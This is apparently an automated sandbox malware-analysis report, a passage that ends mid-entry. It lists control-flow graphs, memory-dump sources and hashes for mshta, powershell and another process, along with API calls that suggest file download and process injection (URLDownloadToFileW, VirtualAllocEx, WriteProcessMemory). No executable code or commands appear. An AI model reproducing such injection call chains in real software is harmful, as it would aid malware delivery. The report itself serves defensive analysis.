                                            Function 030C0FC1 Relevance: .0, Instructions: 5COMMON
                                            Download Yara Rule
                                            Memory Dump Source
                                            • Source File: 00000003.00000003.400829530.00000000030C0000.00000010.00000800.00020000.00000000.sdmp, Offset: 030C0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_3_3_30c0000_mshta.jbxd
                                            Similarity
                                            • API ID:
                                            • String ID:
                                            • API String ID:
                                            • Opcode ID: a7746c4fcd792058dff34b208f858b26d0e20ac4c0d4ae1df23727354e10d21e
                                            • Instruction ID: 76b11bb9b1823714f7885572de12b9b521c64dd5b064fba53474f93eb481704a
                                            • Opcode Fuzzy Hash: a7746c4fcd792058dff34b208f858b26d0e20ac4c0d4ae1df23727354e10d21e
                                            • Instruction Fuzzy Hash:

                                            Execution Graph

                                            Execution Coverage:3.1%
                                            Dynamic/Decrypted Code Coverage:0%
                                            Signature Coverage:0%
                                            Total number of Nodes:3
                                            Total number of Limit Nodes:0
                                            execution_graph 4138 7fe89a67ae1 4139 7fe89a67af1 URLDownloadToFileW 4138->4139 4141 7fe89a67bf3 4139->4141

                                            Executed Functions

                                            Function 000007FE89A67018 Relevance: 1.6, APIs: 1, Instructions: 129filenetworkCOMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            • Executed
                                            • Not Executed
                                            control_flow_graph 110 7fe89a67018-7fe89a67ba1 114 7fe89a67ba3-7fe89a67ba8 110->114 115 7fe89a67bab-7fe89a67bb1 110->115 114->115 116 7fe89a67bb3-7fe89a67bb8 115->116 117 7fe89a67bbb-7fe89a67bfe URLDownloadToFileW 115->117 116->117 119 7fe89a67c00 117->119 120 7fe89a67c06-7fe89a67c23 117->120 119->120
                                            APIs
                                            Memory Dump Source
                                            • Source File: 00000006.00000002.429468779.000007FE89A60000.00000040.00000800.00020000.00000000.sdmp, Offset: 000007FE89A60000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_6_2_7fe89a60000_powershell.jbxd
                                            Similarity
                                            • API ID: DownloadFile
                                            • String ID:
                                            • API String ID: 1407266417-0
                                            • Opcode ID: 9195cd623cc17fc992da6bd75d40aed8a4a1f1797bae21083fcc5bae40ea364f
                                            • Instruction ID: e0780fc389ec5366c9d21d8b768a3642d3a069eaff8c3619f12ef022ebd6c0b3
                                            • Opcode Fuzzy Hash: 9195cd623cc17fc992da6bd75d40aed8a4a1f1797bae21083fcc5bae40ea364f
                                            • Instruction Fuzzy Hash: 8931B37191CA1C8FDB58DF4CD8897A9B7E0FB99311F00826ED04ED3651CB70B8458B81
                                            Function 000007FE89B30F0D Relevance: 5.3, Strings: 4, Instructions: 346COMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000006.00000002.429534056.000007FE89B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 000007FE89B30000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_6_2_7fe89b30000_powershell.jbxd
                                            Similarity
                                            • API ID:
                                            • String ID: 8hF$8hF$8hF$8hF
                                            • API String ID: 0-865759829
                                            • Opcode ID: 12d245587bddf84ee456adb872aef7969d9f59a1d4b4b7207d0fd99a7d1052a7
                                            • Instruction ID: 0ba6674d5a4ea637ef1c8c0e43ad085ee7b3a0e93fe1e06c9fb9e62b102ab94b
                                            • Opcode Fuzzy Hash: 12d245587bddf84ee456adb872aef7969d9f59a1d4b4b7207d0fd99a7d1052a7
                                            • Instruction Fuzzy Hash: E5A1AE20A0DBC90FE347D73858646A47FE1EF57254B1901EBD48ECB1B3DA189C5AC361
                                            Function 000007FE89B3566D Relevance: 1.7, Strings: 1, Instructions: 467COMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            • Executed
                                            • Not Executed
                                            control_flow_graph 37 7fe89b3566d-7fe89b35677 38 7fe89b3567e-7fe89b3568f 37->38 39 7fe89b35679 37->39 41 7fe89b35691 38->41 42 7fe89b35696-7fe89b356a7 38->42 39->38 40 7fe89b3567b 39->40 40->38 41->42 43 7fe89b35693 41->43 44 7fe89b356ae-7fe89b356bf 42->44 45 7fe89b356a9 42->45 43->42 47 7fe89b356c1 44->47 48 7fe89b356c6-7fe89b356d7 44->48 45->44 46 7fe89b356ab 45->46 46->44 47->48 51 7fe89b356c3 47->51 49 7fe89b356de-7fe89b356f4 48->49 50 7fe89b356d9 48->50 53 7fe89b356f5-7fe89b35720 49->53 50->49 52 7fe89b356db 50->52 51->48 52->49 54 7fe89b35722-7fe89b35749 53->54 55 7fe89b35778-7fe89b3579a 53->55 54->53 56 7fe89b3574b-7fe89b35777 54->56 57 7fe89b35903-7fe89b359cc 55->57 58 7fe89b357a0-7fe89b357aa 55->58 56->55 59 7fe89b357c3-7fe89b357c8 58->59 60 7fe89b357ac-7fe89b357b9 58->60 63 7fe89b358a3-7fe89b358ad 59->63 64 7fe89b357ce-7fe89b357d1 59->64 60->59 62 7fe89b357bb-7fe89b357c1 60->62 62->59 65 7fe89b358be-7fe89b358ce 63->65 66 7fe89b358af-7fe89b358bd 63->66 67 7fe89b357d3-7fe89b357e2 64->67 68 7fe89b35816 64->68 70 7fe89b358d0-7fe89b358d4 65->70 71 7fe89b358db-7fe89b35900 65->71 67->57 76 7fe89b357e8-7fe89b357f2 67->76 72 7fe89b35818-7fe89b3581a 68->72 70->71 71->57 72->63 75 7fe89b35820-7fe89b35826 72->75 78 7fe89b35842-7fe89b35884 75->78 79 7fe89b35828-7fe89b35835 75->79 81 7fe89b357f4-7fe89b35801 76->81 82 7fe89b3580b-7fe89b35814 76->82 91 7fe89b3588a-7fe89b358a2 78->91 79->78 83 7fe89b35837-7fe89b35840 79->83 81->82 85 7fe89b35803-7fe89b35809 81->85 82->72 83->78 85->82
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000006.00000002.429534056.000007FE89B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 000007FE89B30000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_6_2_7fe89b30000_powershell.jbxd
                                            Similarity
                                            • API ID:
                                            • String ID: V
                                            • API String ID: 0-1342839628
                                            • Opcode ID: f4ea2135ae08f09193c5c279ae8fd0238cd4468712b413d38b8c52186e1b5231
                                            • Instruction ID: 0df75e0abf68c710dbf9e8f12276106cb7ee8d9961ce487b572ce8953a7f645d
                                            • Opcode Fuzzy Hash: f4ea2135ae08f09193c5c279ae8fd0238cd4468712b413d38b8c52186e1b5231
                                            • Instruction Fuzzy Hash: 28D1D23180E7CD1FD3579B3898146AA7FE4EF57260B1901EBD48DCB0B3D614A95AC3A2
                                            Function 000007FE89A67AE1 Relevance: 1.7, APIs: 1, Instructions: 159filenetworkCOMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            • Executed
                                            • Not Executed
                                            control_flow_graph 93 7fe89a67ae1-7fe89a67aef 94 7fe89a67af2-7fe89a67b05 93->94 95 7fe89a67af1 93->95 96 7fe89a67b08-7fe89a67b19 94->96 97 7fe89a67b07 94->97 95->94 98 7fe89a67b1c-7fe89a67ba1 96->98 99 7fe89a67b1b 96->99 97->96 103 7fe89a67ba3-7fe89a67ba8 98->103 104 7fe89a67bab-7fe89a67bb1 98->104 99->98 103->104 105 7fe89a67bb3-7fe89a67bb8 104->105 106 7fe89a67bbb-7fe89a67bf2 URLDownloadToFileW 104->106 105->106 107 7fe89a67bf3-7fe89a67bfe 106->107 108 7fe89a67c00 107->108 109 7fe89a67c06-7fe89a67c23 107->109 108->109
                                            APIs
                                            Memory Dump Source
                                            • Source File: 00000006.00000002.429468779.000007FE89A60000.00000040.00000800.00020000.00000000.sdmp, Offset: 000007FE89A60000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_6_2_7fe89a60000_powershell.jbxd
                                            Similarity
                                            • API ID: DownloadFile
                                            • String ID:
                                            • API String ID: 1407266417-0
                                            • Opcode ID: 9f4aa8050ae9329d46dfe475344ac1f85372e02cffa34da05993dfe19f655c53
                                            • Instruction ID: 82474d3ea87493c5fce5d8822841f8b11a2d81f5d6363874131a3713a1194f30
                                            • Opcode Fuzzy Hash: 9f4aa8050ae9329d46dfe475344ac1f85372e02cffa34da05993dfe19f655c53
                                            • Instruction Fuzzy Hash: 5F41F37081CB889FDB1ADB58D8446AABBF0FB56321F0482AFD08DD3552CB24A806C781
                                            Function 000007FE89B38549 Relevance: .7, Instructions: 710COMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            • Executed
                                            • Not Executed
                                            control_flow_graph 121 7fe89b38549-7fe89b385f9 122 7fe89b385ff-7fe89b38609 121->122 123 7fe89b38add-7fe89b38b96 121->123 124 7fe89b38622-7fe89b38629 122->124 125 7fe89b3860b-7fe89b38618 122->125 127 7fe89b38640 124->127 128 7fe89b3862b-7fe89b3863e 124->128 125->124 126 7fe89b3861a-7fe89b38620 125->126 126->124 130 7fe89b38642-7fe89b38644 127->130 128->130 133 7fe89b3864a-7fe89b38656 130->133 134 7fe89b38a58-7fe89b38a62 130->134 133->123 137 7fe89b3865c-7fe89b38666 133->137 135 7fe89b38a64-7fe89b38a74 134->135 136 7fe89b38a75-7fe89b38a85 134->136 139 7fe89b38a92-7fe89b38adc 136->139 140 7fe89b38a87-7fe89b38a8b 136->140 141 7fe89b38682-7fe89b38692 137->141 142 7fe89b38668-7fe89b38675 137->142 140->139 141->134 147 7fe89b38698-7fe89b386cc 141->147 142->141 143 7fe89b38677-7fe89b38680 142->143 143->141 147->134 153 7fe89b386d2-7fe89b386de 147->153 153->123 154 7fe89b386e4-7fe89b386ee 153->154 155 7fe89b386f0-7fe89b386fd 154->155 156 7fe89b38707-7fe89b3870c 154->156 155->156 157 7fe89b386ff-7fe89b38705 155->157 156->134 158 7fe89b38712-7fe89b38717 156->158 157->156 158->134 159 7fe89b3871d-7fe89b38722 158->159 159->134 160 7fe89b38728-7fe89b38737 159->160 162 7fe89b38747 160->162 163 7fe89b38739-7fe89b38743 160->163 166 7fe89b3874c-7fe89b38759 162->166 164 7fe89b38763-7fe89b387ee 163->164 165 7fe89b38745 163->165 173 7fe89b38802-7fe89b38824 164->173 174 7fe89b387f0-7fe89b387fb 164->174 165->166 166->164 167 7fe89b3875b-7fe89b38761 166->167 167->164 175 7fe89b38834 173->175 176 7fe89b38826-7fe89b38830 173->176 174->173 179 7fe89b38839-7fe89b38846 175->179 177 7fe89b38832 176->177 178 7fe89b38850-7fe89b388de 176->178 177->179 186 7fe89b388f2-7fe89b38910 178->186 187 7fe89b388e0-7fe89b388eb 178->187 179->178 180 7fe89b38848-7fe89b3884e 179->180 180->178 188 7fe89b38912-7fe89b3891c 186->188 189 7fe89b38920 186->189 187->186 190 7fe89b3891e 188->190 191 7fe89b3893d-7fe89b389cd 188->191 192 7fe89b38925-7fe89b38933 189->192 190->192 199 7fe89b389cf-7fe89b389da 191->199 200 7fe89b389e1-7fe89b38a3a 191->200 192->191 194 7fe89b38935-7fe89b3893b 192->194 194->191 199->200 203 7fe89b38a42-7fe89b38a57 200->203
                                            Memory Dump Source
                                            • Source File: 00000006.00000002.429534056.000007FE89B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 000007FE89B30000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_6_2_7fe89b30000_powershell.jbxd
                                            Similarity
                                            • API ID:
                                            • String ID:
                                            • API String ID:
                                            • Opcode ID: fc34ee5bdc5beb814ae792d6ed2fb84d9346c7769604a20f4d653123a846a92d
                                            • Instruction ID: 3e96bcd377b23a543035ef209f481d81ef9c1426b8deb7de43eff22b805d85fc
                                            • Opcode Fuzzy Hash: fc34ee5bdc5beb814ae792d6ed2fb84d9346c7769604a20f4d653123a846a92d
                                            • Instruction Fuzzy Hash: C722163091CB8D4FD75ADB2C84546B97BE2FF8A344F2401AED48EC72A3DA24AC56C741
                                            Function 000007FE89B34165 Relevance: .4, Instructions: 446COMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            • Executed
                                            • Not Executed
                                            control_flow_graph 204 7fe89b34165-7fe89b341a9 205 7fe89b34155-7fe89b3415f 204->205 206 7fe89b341ab-7fe89b341f4 204->206 205->204 207 7fe89b341fa-7fe89b34204 206->207 208 7fe89b34457-7fe89b34516 206->208 209 7fe89b3421d-7fe89b34222 207->209 210 7fe89b34206-7fe89b34213 207->210 212 7fe89b343fb-7fe89b34405 209->212 213 7fe89b34228-7fe89b3422b 209->213 210->209 214 7fe89b34215-7fe89b3421b 210->214 217 7fe89b34414-7fe89b34424 212->217 218 7fe89b34407-7fe89b34413 212->218 215 7fe89b34242 213->215 216 7fe89b3422d-7fe89b34240 213->216 214->209 221 7fe89b34244-7fe89b34246 215->221 216->221 222 7fe89b34431-7fe89b34454 217->222 223 7fe89b34426-7fe89b3442a 217->223 221->212 224 7fe89b3424c-7fe89b34280 221->224 222->208 223->222 231 7fe89b34282-7fe89b34295 224->231 232 7fe89b34297 224->232 233 7fe89b34299-7fe89b3429b 231->233 232->233 233->212 235 7fe89b342a1-7fe89b342a9 233->235 235->208 236 7fe89b342af-7fe89b342b9 235->236 237 7fe89b342d5-7fe89b342e5 236->237 238 7fe89b342bb-7fe89b342c8 236->238 237->212 242 7fe89b342eb-7fe89b3431c 237->242 238->237 239 7fe89b342ca-7fe89b342d3 238->239 239->237 242->212 245 7fe89b34322-7fe89b3434e 242->245 247 7fe89b34374 245->247 248 7fe89b34350-7fe89b34372 245->248 249 7fe89b34376-7fe89b34378 247->249 248->249 249->212 251 7fe89b3437e-7fe89b34386 249->251 252 7fe89b34396 251->252 253 7fe89b34388-7fe89b34392 251->253 257 7fe89b3439b-7fe89b343a8 252->257 255 7fe89b343b2-7fe89b343d1 253->255 256 7fe89b34394 253->256 258 7fe89b343db-7fe89b343e1 255->258 256->257 257->255 259 7fe89b343aa-7fe89b343b0 257->259 260 7fe89b343e8-7fe89b343fa 258->260 259->255
                                            Memory Dump Source
                                            • Source File: 00000006.00000002.429534056.000007FE89B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 000007FE89B30000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_6_2_7fe89b30000_powershell.jbxd
                                            Similarity
                                            • API ID:
                                            • String ID:
                                            • API String ID:
                                            • Opcode ID: d74b008f73d66743b7549c9153bd06489543a096c5b10380046d9a70a7f439b9
                                            • Instruction ID: c004e35759ee0b37556ce657f654f3c2ad98b50155e17c9f91f39b799fbccb84
                                            • Opcode Fuzzy Hash: d74b008f73d66743b7549c9153bd06489543a096c5b10380046d9a70a7f439b9
                                            • Instruction Fuzzy Hash: B3C1143091DB8E4FE75AEB2858546BA7FE2EF46354F1401EAD48EC71B3C614AC16C361

                                            Non-executed Functions

                                            Function 000007FE89B30102 Relevance: 8.5, Strings: 6, Instructions: 980COMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            • Executed
                                            • Not Executed
                                            control_flow_graph 262 7fe89b30102-7fe89b30152 264 7fe89b30154-7fe89b30181 262->264 265 7fe89b3019c-7fe89b301a1 262->265 266 7fe89b303c3-7fe89b303db 264->266 267 7fe89b30187-7fe89b30191 264->267 268 7fe89b301a3-7fe89b301a9 265->268 269 7fe89b301ab-7fe89b301b0 265->269 279 7fe89b30425-7fe89b30477 266->279 280 7fe89b303dd-7fe89b30423 266->280 267->269 270 7fe89b30193-7fe89b3019b 267->270 268->269 271 7fe89b30352-7fe89b3035c 269->271 272 7fe89b301b6-7fe89b301b9 269->272 270->265 274 7fe89b3036f-7fe89b3037f 271->274 275 7fe89b3035e 271->275 277 7fe89b301d0 272->277 278 7fe89b301bb-7fe89b301ce 272->278 282 7fe89b30381-7fe89b30385 274->282 283 7fe89b3038c-7fe89b303c2 274->283 281 7fe89b3035f-7fe89b3036e 275->281 284 7fe89b301d2-7fe89b301d4 277->284 278->284 300 7fe89b30482-7fe89b30492 279->300 301 7fe89b30479-7fe89b30481 279->301 280->279 282->283 284->271 285 7fe89b301da-7fe89b3020e 284->285 294 7fe89b30210-7fe89b30223 285->294 295 7fe89b30225 285->295 297 7fe89b30227-7fe89b30229 294->297 295->297 297->271 299 7fe89b3022f-7fe89b30232 297->299 299->271 302 7fe89b30238-7fe89b3023b 299->302 303 7fe89b30495-7fe89b304e9 300->303 301->300 304 7fe89b30252 302->304 305 7fe89b3023d-7fe89b30250 302->305 303->303 306 7fe89b304eb-7fe89b30508 303->306 307 7fe89b30254-7fe89b30256 304->307 305->307 308 7fe89b30512-7fe89b30522 306->308 309 7fe89b3050a-7fe89b30511 306->309 307->271 310 7fe89b3025c-7fe89b3025f 307->310 311 7fe89b30524-7fe89b30551 308->311 312 7fe89b3056c-7fe89b30571 308->312 309->308 310->271 313 7fe89b30265-7fe89b3029f 310->313 314 7fe89b30793-7fe89b307ab 311->314 315 7fe89b30557-7fe89b30561 311->315 316 7fe89b30573-7fe89b30579 312->316 317 7fe89b3057b-7fe89b30580 312->317 335 7fe89b302a1-7fe89b302ae 313->335 336 7fe89b302b8-7fe89b302c5 313->336 329 7fe89b307f5-7fe89b30847 314->329 330 7fe89b307ad-7fe89b307f3 314->330 315->317 318 7fe89b30563-7fe89b3056b 315->318 316->317 320 7fe89b30722-7fe89b3072c 317->320 321 7fe89b30586-7fe89b30589 317->321 318->312 325 7fe89b3073f-7fe89b3074f 320->325 326 7fe89b3072e 320->326 322 7fe89b305a0 321->322 323 7fe89b3058b-7fe89b3059e 321->323 328 7fe89b305a2-7fe89b305a4 322->328 323->328 332 7fe89b30751-7fe89b30755 325->332 333 7fe89b3075c 325->333 331 7fe89b3072f-7fe89b3073e 326->331 328->320 338 7fe89b305aa-7fe89b305de 328->338 368 7fe89b30852-7fe89b3092f 329->368 369 7fe89b30849-7fe89b30851 329->369 330->329 332->333 337 7fe89b3075d-7fe89b30792 333->337 335->336 340 7fe89b302b0-7fe89b302b6 335->340 341 7fe89b302d9-7fe89b302df 336->341 342 7fe89b302c7-7fe89b302d2 336->342 357 7fe89b305e0-7fe89b305f3 338->357 358 7fe89b305f5 338->358 340->336 346 7fe89b302e1-7fe89b302e3 341->346 347 7fe89b30350-7fe89b30351 341->347 342->341 346->281 350 7fe89b302e5 346->350 354 7fe89b302e7-7fe89b302fe 350->354 355 7fe89b3032c 350->355 359 7fe89b30300-7fe89b30328 354->359 360 7fe89b3032f-7fe89b30337 354->360 355->360 361 7fe89b305f7-7fe89b305f9 357->361 358->361 359->355 362 7fe89b30339 360->362 363 7fe89b3033b-7fe89b30340 360->363 361->320 366 7fe89b305ff-7fe89b30602 361->366 364 7fe89b30341-7fe89b3034f 362->364 363->364 364->347 366->320 370 7fe89b30608-7fe89b3060b 366->370 378 7fe89b30931 368->378 379 7fe89b30936-7fe89b3093b 368->379 369->368 371 7fe89b30622 370->371 372 7fe89b3060d-7fe89b30620 370->372 374 7fe89b30624-7fe89b30626 371->374 372->374 374->320 375 7fe89b3062c-7fe89b3062f 374->375 375->320 376 7fe89b30635-7fe89b3066f 375->376 382 7fe89b30671-7fe89b3067e 376->382 383 7fe89b30688-7fe89b30695 376->383 378->379 382->383 384 7fe89b30680-7fe89b30686 382->384 385 7fe89b306a9-7fe89b306af 383->385 386 7fe89b30697-7fe89b306a2 383->386 384->383 387 7fe89b306b1-7fe89b306b3 385->387 388 7fe89b30720-7fe89b30721 385->388 386->385 387->331 390 7fe89b306b5 387->390 391 7fe89b306b7-7fe89b306ce 390->391 392 7fe89b306fc 390->392 393 7fe89b306d0-7fe89b306f8 391->393 394 7fe89b306ff-7fe89b30707 391->394 392->337 392->394 393->392 395 7fe89b30709 394->395 396 7fe89b3070b-7fe89b30710 394->396 397 7fe89b30711-7fe89b3071f 395->397 396->397 397->388
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000006.00000002.429534056.000007FE89B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 000007FE89B30000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_6_2_7fe89b30000_powershell.jbxd
                                            Similarity
                                            • API ID:
                                            • String ID: (UM$(UM$(UM$(UM$(UM$(UM
                                            • API String ID: 0-3007596343
                                            • Opcode ID: 159436cfcd447f90f5e72d3f09a05ecc20eb935fc5455320fb27c5229620f08a
                                            • Instruction ID: 4e4e0702a6e304cbb8d5dac8960e7b4557ce944fd471c53a3bc1f8ff0b347f34
                                            • Opcode Fuzzy Hash: 159436cfcd447f90f5e72d3f09a05ecc20eb935fc5455320fb27c5229620f08a
                                            • Instruction Fuzzy Hash: 9452032090D7CA4FE31AEB7858612B97FE1EF47654F1901EFD48AC71B3DA186816C362
                                            Function 000007FE89B3352E Relevance: .3, Instructions: 330COMMON
                                            Download Yara Rule
                                            Memory Dump Source
                                            • Source File: 00000006.00000002.429534056.000007FE89B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 000007FE89B30000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_6_2_7fe89b30000_powershell.jbxd
                                            Similarity
                                            • API ID:
                                            • String ID:
                                            • API String ID:
                                            • Opcode ID: 93272aaae3d90ef0c8c3d2d143cd5a2d0b23d03cdd28cc053ec3e9b1a0e27b6a
                                            • Instruction ID: a243e4746bbdea9f8351258e66eaa9f0ce473894c8b6e221672cb2d4b7cee7f6
                                            • Opcode Fuzzy Hash: 93272aaae3d90ef0c8c3d2d143cd5a2d0b23d03cdd28cc053ec3e9b1a0e27b6a
                                            • Instruction Fuzzy Hash: C1A1262090E7CD0FD743AB7898646A67FE1EF5B254F1901EBD48DCB1B3D618981AC362

                                            Execution Graph

                                            Execution Coverage:10.5%
                                            Dynamic/Decrypted Code Coverage:100%
                                            Signature Coverage:0%
                                            Total number of Nodes:30
                                            Total number of Limit Nodes:1
                                            execution_graph 15069 7fe89a80888 15072 7fe89a80490 15069->15072 15071 7fe89a808a4 15073 7fe89a80950 FreeConsole 15072->15073 15075 7fe89a809ce 15073->15075 15075->15071 15046 7fe89a8306a 15047 7fe89a83079 15046->15047 15052 7fe89a81ca8 15047->15052 15050 7fe89a81ca8 VirtualProtect 15051 7fe89a83106 15050->15051 15053 7fe89a83360 VirtualProtect 15052->15053 15055 7fe89a830e1 15053->15055 15055->15050 15076 7fe89a8331a 15077 7fe89a83329 VirtualProtect 15076->15077 15079 7fe89a83401 15077->15079 15056 7fe89a80de5 15057 7fe89a80e2e 15056->15057 15060 7fe89a807d0 15057->15060 15059 7fe89a80f5d 15062 7fe89a82e70 LoadLibraryA 15060->15062 15063 7fe89a82fc4 15062->15063 15063->15059 15064 7fe89a884e5 15065 7fe89a9fbc0 15064->15065 15066 7fe89a9fdd9 15065->15066 15067 7fe89a9fe76 VirtualAllocEx 15065->15067 15068 7fe89a9fec6 15067->15068 15084 7fe89a88495 15085 7fe89a884a5 15084->15085 15086 7fe89aa04e4 WriteProcessMemory 15085->15086 15087 7fe89aa052b 15086->15087

                                            Executed Functions

                                            Function 000007FE89B6026B Relevance: 7.0, Strings: 5, Instructions: 791COMMON
                                            Download Yara Rule
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000000A.00000002.461516281.000007FE89B60000.00000040.00000800.00020000.00000000.sdmp, Offset: 000007FE89B60000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_10_2_7fe89b60000_igccu.jbxd
                                            Similarity
                                            • API ID:
                                            • String ID: "9D$"9D$A$3s$3s
                                            • API String ID: 0-1226775135
                                            • Opcode ID: 8eb0b7361f229a23a066a917fbfac91867db6fdfa26df8a8cedb7e129115a76a
                                            • Instruction ID: 9fac8e1318f19c064d234c4e15b075b1b31b872f9cceecd814a148943e4bb7ac
                                            • Opcode Fuzzy Hash: 8eb0b7361f229a23a066a917fbfac91867db6fdfa26df8a8cedb7e129115a76a
                                            • Instruction Fuzzy Hash: D642F43180DBC94FD757EB28C8556A8BFF0EF56304F1905DBD08ACB1A3D628A85AC791
                                            Function 000007FE89B60858 Relevance: 6.4, Strings: 4, Instructions: 1356COMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            • Executed
                                            • Not Executed
                                            control_flow_graph 732 7fe89b60858-7fe89b60872 734 7fe89b60874-7fe89b60877 732->734 735 7fe89b608e3-7fe89b608f0 732->735 736 7fe89b608f3 734->736 737 7fe89b60879 734->737 735->736 741 7fe89b60a42-7fe89b60a56 736->741 742 7fe89b608f9-7fe89b6090c 736->742 739 7fe89b608c0 737->739 740 7fe89b6087b-7fe89b608a2 737->740 743 7fe89b608c3-7fe89b608de 739->743 744 7fe89b608c2 739->744 740->741 751 7fe89b608a8-7fe89b608be 740->751 750 7fe89b60a57-7fe89b60ab7 741->750 748 7fe89b6090e-7fe89b60912 742->748 749 7fe89b6097d-7fe89b60990 742->749 743->735 744->743 752 7fe89b60914 748->752 753 7fe89b60993 748->753 749->753 754 7fe89b60aec-7fe89b60b04 750->754 755 7fe89b60ab9-7fe89b60ad0 750->755 751->739 751->741 756 7fe89b60974-7fe89b6097c 752->756 753->741 760 7fe89b60999-7fe89b609e6 753->760 757 7fe89b60ad2-7fe89b60ae7 755->757 758 7fe89b60b41-7fe89b60b77 755->758 756->749 757->754 762 7fe89b60bac-7fe89b60bc4 758->762 763 7fe89b60b79-7fe89b60b90 758->763 760->750 776 7fe89b609e8-7fe89b609ed 760->776 765 7fe89b60b92-7fe89b60ba7 763->765 766 7fe89b60c01-7fe89b60c37 763->766 765->762 767 7fe89b60c6c-7fe89b60c84 766->767 768 7fe89b60c39-7fe89b60c50 766->768 770 7fe89b60c52-7fe89b60c67 768->770 771 7fe89b60cc1-7fe89b60cfc 768->771 770->767 774 7fe89b60cfe-7fe89b60d2f 771->774 775 7fe89b60d46-7fe89b60d48 771->775 777 7fe89b60d35-7fe89b60d45 774->777 778 7fe89b60e87-7fe89b60e96 774->778 775->778 779 7fe89b60d49-7fe89b60d5b 775->779 776->756 782 7fe89b609ef 776->782 777->775 784 7fe89b60e98-7fe89b60e99 778->784 781 7fe89b60d5c-7fe89b60d7a 779->781 781->778 788 7fe89b60d80-7fe89b60d93 781->788 782->741 786 7fe89b60e9c-7fe89b60eb7 784->786 787 7fe89b60e9b 784->787 789 7fe89b60ebb-7fe89b60ec4 786->789 787->786 795 7fe89b60d95-7fe89b60d96 788->795 796 7fe89b60e04-7fe89b60e13 788->796 790 7fe89b60ed2-7fe89b60ed7 789->790 791 7fe89b60ec6-7fe89b60ec8 789->791 794 7fe89b60ed8-7fe89b60ef7 790->794 793 7fe89b60eca 791->793 791->794 797 7fe89b60ecb-7fe89b60ed1 793->797 799 7fe89b60f2c-7fe89b60f44 794->799 800 7fe89b60ef9-7fe89b60f10 794->800 795->781 798 7fe89b60d98 795->798 801 7fe89b60e14-7fe89b60e16 796->801 797->790 798->801 802 7fe89b60d9a 798->802 803 7fe89b60f12-7fe89b60f27 800->803 804 7fe89b60f81-7fe89b60fb7 800->804 801->778 805 7fe89b60e18-7fe89b60e4a 801->805 806 7fe89b60de1 802->806 807 7fe89b60d9c-7fe89b60dc5 802->807 803->799 809 7fe89b60fec-7fe89b61004 804->809 810 7fe89b60fb9-7fe89b60fd0 804->810 805->789 823 7fe89b60e4c-7fe89b60e4f 805->823 806->778 811 7fe89b60de7-7fe89b60e01 806->811 807->778 822 7fe89b60dcb-7fe89b60dde 807->822 812 7fe89b60fd2-7fe89b60fe7 810->812 813 7fe89b61041-7fe89b61077 810->813 811->796 812->809 815 7fe89b610ac-7fe89b610c4 813->815 816 7fe89b61079-7fe89b61090 813->816 820 7fe89b61092-7fe89b610a7 816->820 821 7fe89b61101-7fe89b61149 816->821 820->815 825 7fe89b6115d-7fe89b6115e 821->825 826 7fe89b6114b-7fe89b6115b 821->826 822->806 823->797 827 7fe89b60e51 823->827 828 7fe89b61161-7fe89b61178 825->828 826->828 827->784 830 7fe89b60e53-7fe89b60e86 827->830 834 7fe89b6117a-7fe89b6117c 828->834 835 7fe89b611a6-7fe89b61229 828->835 834->835 837 7fe89b6117e-7fe89b6119f 834->837 841 7fe89b61273-7fe89b61292 835->841 842 7fe89b6122b-7fe89b61259 835->842 837->835 847 7fe89b61299-7fe89b612a4 841->847 843 7fe89b61305-7fe89b61315 842->843 844 7fe89b6125f-7fe89b61272 842->844 851 7fe89b61318-7fe89b61340 843->851 852 7fe89b61317 843->852 844->843 846 7fe89b61278-7fe89b61292 844->846 850 7fe89b6129a-7fe89b612a4 846->850 847->843 849 7fe89b612a6-7fe89b612d0 847->849 854 7fe89b61341-7fe89b6134f 849->854 861 7fe89b612d2-7fe89b612d3 849->861 850->843 850->849 851->854 852->851 855 7fe89b61351-7fe89b61377 854->855 856 7fe89b613ac-7fe89b613c4 855->856 857 7fe89b61379-7fe89b61390 855->857 859 7fe89b61392-7fe89b613a7 857->859 860 7fe89b61401-7fe89b61438 857->860 859->856 863 7fe89b6146d-7fe89b61478 860->863 864 7fe89b6143a-7fe89b6144a 860->864 861->847 865 7fe89b612d5 861->865 869 7fe89b6148c-7fe89b61494 863->869 870 7fe89b6147a-7fe89b61485 863->870 866 7fe89b6144c-7fe89b6144e 864->866 867 7fe89b614bb-7fe89b614c7 864->867 865->855 868 7fe89b612d7-7fe89b61304 865->868 872 7fe89b614ca-7fe89b6156e 866->872 873 7fe89b61450 866->873 867->872 871 7fe89b61496-7fe89b61499 869->871 870->869 883 7fe89b61582-7fe89b6158c 872->883 884 7fe89b61570-7fe89b6157b 872->884 873->871 875 7fe89b61452-7fe89b6146c 873->875 875->863 884->883
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000000A.00000002.461516281.000007FE89B60000.00000040.00000800.00020000.00000000.sdmp, Offset: 000007FE89B60000, based on PE: false
                                            Joe Sandbox IDA Plugin
